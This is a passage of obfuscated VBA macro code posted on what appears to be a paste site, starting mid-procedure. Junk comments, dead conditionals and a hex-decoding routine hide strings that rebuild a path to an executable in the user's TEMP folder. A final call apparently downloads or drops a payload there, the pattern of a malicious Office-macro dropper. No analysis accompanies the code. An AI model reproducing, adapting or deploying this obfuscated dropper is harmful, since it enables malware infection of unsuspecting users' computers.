- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While mVtSlQiG < 63
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim syhArPpi, HaVXkyaN, wXTkRnLJ As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- syhArPpi = GIYbonflbkpgerg("2020202020202020202020444F4D594F51202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- HaVXkyaN = LTrim(syhArPpi)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- wXTkRnLJ = RTrim(HaVXkyaN)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: mVtSlQiG = mVtSlQiG + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim PEzmdjVk, BluBkzpN, ATwKabLl As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- PEzmdjVk = GIYbonflbkpgerg("202020202020202020202049564156484C202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- BluBkzpN = LTrim(PEzmdjVk)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ATwKabLl = RTrim(BluBkzpN)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim SGlQzruH, VWyFEKqa, XTOnAMHb As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- SGlQzruH = GIYbonflbkpgerg("20202020202020202020204A59565A4752202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- VWyFEKqa = LTrim(SGlQzruH)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- XTOnAMHb = RTrim(VWyFEKqa)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ICWLJKSEKJP yfVUGJK, Environ(GIYbonflbkpgerg("54454D50")) & GIYbonflbkpgerg("5C4E594845464C4A44505A522E657865")
- End Sub
- Public Function GIYbonflbkpgerg(ByVal cQlbRg As String) As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim ZZLyawIQ As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim VHLlaQQjgDZ As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim DzLOdyAJTO As Long
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- For DzLOdyAJTO = 1 To Len(cQlbRg) Step 2
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim DoPqzxJh, krkTgJIi, qmojyVCQ As String
- If 642151 = 642151 + 1 Then End
- If 4235 < 16 Then
- MsgBox ("hmONFQJI31")
- End If
- If Len("uAeFcLwO5349") = Len("NeKyzNts") Then
- MsgBox ("Error !!!")
- End If
- DoPqzxJh = " IWIYXC "
- If 676326 = 676326 + 1 Then End
- If 7625 < 12 Then
- MsgBox ("VWqWtzxZ72")
- End If
- If Len("DkqoqdLy8741") = Len("BUWKnajg") Then
- MsgBox ("Error !!!")
- End If
- krkTgJIi = LTrim(DoPqzxJh)
- If 885851 = 885851 + 1 Then End
- If 1455 < 77 Then
- MsgBox ("EGBSILBk31")
- End If
- If Len("zyxiTmGS2561") = Len("WUsnqAvf") Then
- MsgBox ("Error !!!")
- End If
- qmojyVCQ = RTrim(krkTgJIi)
- If 545588 = 545588 + 1 Then End
- If 4894 < 65 Then
- MsgBox ("RoBFaWzy68")
- End If
- If Len("lTBayybO5119") = Len("TXOQwMXK") Then
- MsgBox ("Error !!!")
- End If
- ZZLyawIQ = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(cQlbRg, DzLOdyAJTO, 2)))
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim hdozTMFK, RegTQTNn, ufEbmeOW As String
- If 189695 = 189695 + 1 Then End
- If 2494 < 22 Then
- MsgBox ("SFAESFPJ51")
- End If
- If Len("qyBNPhns3528") = Len("rYFkgxpD") Then
- MsgBox ("Error !!!")
- End If
- hdozTMFK = " VGRGNU "
- If 417775 = 417775 + 1 Then End
- If 9733 < 23 Then
- MsgBox ("DqkkjHGv55")
- End If
- If Len("MxdCuINO9848") = Len("uDVYxwcK") Then
- MsgBox ("Error !!!")
- End If
- RegTQTNn = LTrim(hdozTMFK)
- If 133419 = 133419 + 1 Then End
- If 9148 < 88 Then
- MsgBox ("tONPFbiQ89")
- End If
- If Len("XGlvcIDD9254") = Len("GjiHzFxg") Then
- MsgBox ("Error !!!")
- End If
- ufEbmeOW = RTrim(RegTQTNn)
- If 518185 = 518185 + 1 Then End
- If 4269 < 44 Then
- MsgBox ("WgnILPRO66")
- End If
- If Len("enwfOZGM2952") = Len("gJuCBjde") Then
- MsgBox ("Error !!!")
- End If
- VHLlaQQjgDZ = VHLlaQQjgDZ & ZZLyawIQ
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Next DzLOdyAJTO
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim dWnnGNkS, basEjFwC, cQGhgHax As String
- If 441616 = 441616 + 1 Then End
- If 3219 < 95 Then
- MsgBox ("ijZAJEqP96")
- End If
- If Len("BcWhbSHQ1812") = Len("KBPUtLvf") Then
- MsgBox ("Error !!!")
- End If
- dWnnGNkS = " TOAXIZ "
- If 517986 = 517986 + 1 Then End
- If 7942 < 96 Then
- MsgBox ("WhkAfROi76")
- End If
- If Len("wjovGrIN5734") = Len("XzzvIEEW") Then
- MsgBox ("Error !!!")
- End If
- basEjFwC = LTrim(dWnnGNkS)
- If 575954 = 575954 + 1 Then End
- If 9769 < 62 Then
- MsgBox ("noopgNvi35")
- End If
- If Len("QtchIGKH1975") = Len("RTdUfXAk") Then
- MsgBox ("Error !!!")
- End If
- cQGhgHax = RTrim(basEjFwC)
- If 994324 = 994324 + 1 Then End
- If 1815 < 45 Then
- MsgBox ("fiNWrhtp14")
- End If
- If Len("FoHKTGrz2921") = Len("gWPKvgBC") Then
- MsgBox ("Error !!!")
- End If
- GIYbonflbkpgerg = VHLlaQQjgDZ
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement